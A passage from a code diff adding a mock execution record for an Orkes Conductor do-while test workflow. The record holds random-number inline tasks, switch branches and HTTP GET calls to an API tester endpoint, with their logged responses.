"qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__10", + retryCount: 0, + seq: 39, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413859056, + startTime: 1713413859056, + endTime: 1713413859075, + updateTime: 1713413859056, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97b9cabf-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413856975, + startTime: 1713413856975, + endTime: 1713413857004, + updateTime: 1713413856975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967c418b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__2", + retryCount: 0, + seq: 7, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857247, + startTime: 1713413857247, + endTime: 1713413857262, + updateTime: 1713413857247, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a5e99f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__3", + retryCount: 0, + seq: 11, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857465, + startTime: 1713413857465, + endTime: 1713413857480, + updateTime: 1713413857465, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96c70633-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__4", + retryCount: 0, + seq: 15, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857687, + startTime: 1713413857687, + endTime: 1713413857702, + updateTime: 1713413857687, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96e90d27-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__5", + retryCount: 0, + seq: 19, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413857930, + startTime: 1713413857930, + endTime: 1713413857945, + updateTime: 1713413857930, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "970e215b-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__6", + retryCount: 0, + seq: 23, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858154, + startTime: 1713413858154, + endTime: 1713413858196, + updateTime: 1713413858154, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97304f5f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__7", + retryCount: 0, + seq: 27, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858383, + startTime: 1713413858383, + endTime: 1713413858402, + updateTime: 1713413858383, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "975319a3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__8", + retryCount: 0, + seq: 31, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858598, + startTime: 1713413858598, + endTime: 1713413858615, + updateTime: 1713413858598, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9773e817-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__9", + retryCount: 0, + seq: 35, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413858836, + startTime: 1713413858836, + endTime: 1713413858852, + updateTime: 1713413858836, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979811eb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref__10", + retryCount: 0, + seq: 39, + pollCount: 0, + taskDefName: "inline", + scheduledTime: 1713413859056, + startTime: 1713413859056, + endTime: 1713413859075, + updateTime: 1713413859056, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97b9cabf-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 40, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859083, + startTime: 1713413859083, + endTime: 1713413859083, + updateTime: 1713413859083, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7440-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ 